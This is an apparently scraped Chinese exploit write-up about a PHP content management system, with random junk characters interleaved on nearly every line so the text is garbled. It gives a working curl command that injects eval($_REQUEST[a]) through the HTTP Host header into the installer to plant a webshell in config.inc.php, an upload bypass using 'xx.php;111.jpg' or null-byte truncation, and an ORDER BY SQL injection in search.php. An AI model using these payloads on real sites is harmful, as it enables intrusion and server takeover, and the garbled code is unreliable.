注入:
% Y0 R8 A1 \) x/ B* H% Q2 \2 @7 E$ n$ A( p( [: [2 P
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码+ l a7 R# n5 w+ a3 E5 V# I( z
3 z" v9 w& l9 n: Y4 P4 R4 U2 P鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
( Z, m2 Q, ]0 T: r4 e; \鸡肋2: 有一定安全常识的站长都会删掉 install 目录% H1 W$ d, d* O% S
6 S: ?* d/ J9 e, F) M) P
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响' |1 ^9 z( T; f! i' z
, d3 j% G4 E7 W1 P4 j% o分析:
$ B( c, W% a6 Y! Z$ j% ]
# ], t1 l4 m' j: F4 E- s
4 B; X& |8 x' c ~) f( w, b' W" X$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
" B, E& B$ e; V* ]7 o , o& G& z7 y, D
$filestr = fread(fopen($SysConfigFile, 'r'),30000);0 b# c. v/ I- m" ]# ~! c3 b
$filestr=str_replace(" ","",$filestr);# k b( R( f5 Z7 y. \ `: M
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);6 q8 F+ z% X+ F% j3 X
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
& D6 y5 d. R! j $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 t; H/ c: {- U% u% ~9 z0 V9 k $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);3 N8 O# m1 V5 ]3 n5 g. g
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);+ z$ J: M. M( O
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);4 ~+ Y! g3 D0 |
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: Y* [7 J' r% @0 Q" D ; N% Q; y/ g8 m) y* y
fwrite(fopen($ConFile,"w"),$filestr,30000);
# |3 T4 z' Z' q: a% k, {8 C$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^$ i8 L2 c) M! F2 Q# ]
- [; F, g+ c. s2 Y! H9 A" M
poc:
1 H! ?" W, A" i0 | Y& r; F q$ t# _+ E ! v9 w7 W/ n& j6 i, U8 e
?" N) K' i) z) e! @# _
1
e5 T. m- k1 V/ o, Q; l6 kcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
, K8 K% ~/ @1 W7 ?( ^shell地址: /config.inc.php' J& r( ?% Q' N1 q- {* ]; e: E* Y) s
跟之前的 phpcms一样 需要远程数据库; r, C# l1 e2 t2 }$ [, M+ H
4 u' a3 g0 u3 p9 K" p——————————————————–
' T" y) V g5 a5 z3 I: R8 `上传漏洞(需要进后台):, d: s8 I4 c2 o9 c2 [( ^. T
漏洞文件: /kedit/upload_cgi/upload.php$ h: e1 O. p3 l- ]: K
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
4 o" S/ r. Z, S
- h) y2 O, T$ r& F. g ! y0 z* {. ~' X! d3 b! b* b
<?php4 a' y( X P$ u
define("ROOTPATH", "../../");9 C' s) g# i4 }2 T
include(ROOTPATH."includes/admin.inc.php");1 i5 Z8 d0 x* ~: X* P
NeedAuth(0);
& t. ~ P/ P7 K, N. g
+ t3 |4 w- J' N6 B $dt=date("Ymd",time());
* b/ K! ]6 K) s& n2 N8 v% N if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
9 U, o* z& ^1 w! s; s" B @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
$ N; Y6 I- f M, u) ~* ` }, G& g8 `9 x: B. X
: a; N) K1 w5 B e# ?, U
//文件保存目录路径$ g" f' @8 U7 w4 h& a
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
0 k5 C$ W) F8 B3 U( F7 p6 g: @ echo $save_path;
0 Y0 o3 Q3 S) _4 u //文件保存目录URL6 S# M' Y1 y0 U
$save_url = '../../'.$_POST['attachPath'].$dt.'/';$ d) }7 |: l5 Q: \8 ^
* L2 n+ e) @& g! r+ ` m; j //定义允许上传的文件扩展名; ?' U3 s, q/ A
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀. H! ?) \0 }% `! O B. |: {9 Y
( P) L% }- @0 i
//最大文件大小
- S6 t f a7 m- s4 s, I- t. | $max_size = 1000000;& f7 A4 E( I" G' O4 o$ X$ F+ y
: J9 Q5 \. L4 E- ^ //更改目录权限
: P$ y3 U2 g3 j @mkdir($save_path, 0777);- H$ Y1 l8 }5 y& E: I: u
3 b/ k) q, q+ g9 H) L. S
//文件的全部路径
3 {# H/ P" ^8 A $file_path = $save_path.$_POST['fileName']; //保存文件名2 A/ X# b4 x4 u2 k
* x- m- |. K5 @ e9 ~/ W //文件URL+ g' ?4 g) z% R2 {5 }6 ^3 E
$file_url = $save_url.$_POST['fileName'];% A5 {$ s- O' p q
//有上传文件时1 Y p3 V5 m+ e/ [: R3 L* Q* g
if (empty($_FILES) === false) {( Y9 X0 h8 h9 X
" e. K( S4 h! n- O) B; v
//原文件名, K$ u# D( _: M1 U: z6 S$ K5 t) _
$file_name = $_FILES['fileData']['name'];
x% C2 l) q9 a$ q% @3 C" `' L, ~6 S //服务器上临时文件名
0 T: C v9 A! X7 ^ o $tmp_name = $_FILES['fileData']['tmp_name'];
% X- U% j3 a! U# t //文件大小
- x" o* s! I0 m$ F, v $file_size = $_FILES['fileData']['size'];+ b' S; x1 W! c" A1 `2 X% C
//检查目录
% r6 q- l2 w4 B% E if (@is_dir($save_path) === false) {
' d8 T- o) e5 r$ A5 x6 R8 W$ |2 m d alert("上传目录不存在。");1 _6 V7 U* t/ H& ]! f. |( K
}
% N4 |* V8 T& E0 ^8 _: b; S O7 s- I //检查目录写权限
3 X" M3 |) U9 N+ {0 j j% H; N+ ~ if (@is_writable($save_path) === false) {4 { w U( C) l! B9 \6 u+ c8 H# Y' E
alert("上传目录没有写权限。");+ P8 V& U$ H! o+ R% F5 a$ A1 Y
}( \5 G* t% \2 _) ^# F9 s* u
//检查是否已上传0 e6 G; T; T& v/ b! p3 Q
if (@is_uploaded_file($tmp_name) === false) {
" z+ ]. X% b1 x* |; c. f alert("临时文件可能不是上传文件。"); \. p+ P. B& C. v$ A
}5 c, a, `8 a! P
//检查文件大小
& }- Z, c0 J* h2 B6 m" c: l if ($file_size > $max_size) { H+ H" V" }( y& k
alert("上传文件大小超过限制。");
3 m! x V2 U6 W0 p }
, W1 M! F0 H9 @( f* c _: M //获得文件扩展名
# W$ W/ n( E# k $temp_arr = explode(".", $_POST['fileName']);$ S% x! |0 U. @, L: b) @; }
$file_ext = array_pop($temp_arr);! {; Z& D; y* J
$file_ext = trim($file_ext);2 w c* @: B) l' i8 n# J
$file_ext = strtolower($file_ext);
. H! y. w( }! F6 q9 ^
, U; B! I; Q9 {& _+ x$ J5 [+ I //检查扩展名
( I- K% D; ]0 ~6 Y! i& g if (in_array($file_ext, $ext_arr) === false) {
' l. O9 u* z+ F2 b R( x; ^$ v& D9 E alert("上传文件扩展名是不允许的扩展名。");
- l M0 K# X# X# N j s+ p }
( v9 g& M# u: W. C! A2 J * g3 b) D0 u% P# J- ]+ E
//移动文件 - k: ]' b# t* D. q& d( M; e
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
* ]- v* _ v6 x5 C. t if (move_uploaded_file($tmp_name, $file_path) === false) {
( j/ u; q I+ c/ x r alert("上传文件失败。");3 h' l, q2 w' b* S* x* b3 A3 l% N e
}# s% `8 u, \; L B; t. g; u; P; u
! N& W' Q6 s2 O) ]3 R
@chmod($file_path,0666);
4 O) r: e% C. A* _8 ~, W, t
; d3 [6 N0 R, A3 {; _* G4 U ?>
' B: z: ^1 [7 e抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227& r6 D4 Z8 `( I; ?# j
4 L, V4 R( M. E% z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 ~# C" Z0 B$ Q! u- p+ T
# N' G! B( E( C% I2 f——————————————————, \( E C o. c" E* Y$ f
注入漏洞:
* {+ s% }9 x: _' J漏洞文件:search/module/search.php) ~$ A# E" q6 d0 ?, h* C' w$ L
/search/index.php?key=1&myord=1 [sqlinjection]9 S0 e1 }3 l# \8 g# R7 V+ G0 D
# a2 B' r* S/ V9 h. H6 `, U1 q! f
: t3 o0 ~( ^& n0 I+ s$ S, W
<?php
* G& Q& I! [4 e1 e0 ^5 k // ... 省略 n 行...
% i% b- c- b% m6 H' \5 \* o //第18行:' Q, F- w2 a5 b4 R- } @
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
9 u0 A$ p( }. l' [8 G( D6 M! h+ y $page=htmlspecialchars($_GET["page"]);+ j3 B) _# O8 `" j
$myord=htmlspecialchars($_GET["myord"]);
V E: z+ R% o
, i- y i4 U* i3 A9 m9 d# v2 ? // ... 省略 n 行...
8 L3 @2 F$ l0 I9 K2 ~; B2 y- d) b $key,$myord 两个参数带入查询
% ?3 G# J# q( Q6 | //第47行 $key:" |! U, ^1 Y+ W, K
& O0 i" V3 X) D# O8 T* Y
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..- N- L) l6 S0 Y
& w$ V8 m" W& r9 c4 e2 [
//第197行 $myord1 z) E* _1 Y" {9 Z! ^- S' N9 x0 [+ T
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入6 T& `6 g4 y7 m4 {5 _" G
# h# v2 H% e. ~! T, c; ] ?>
5 q( V, a3 _' A0 f% o" i M |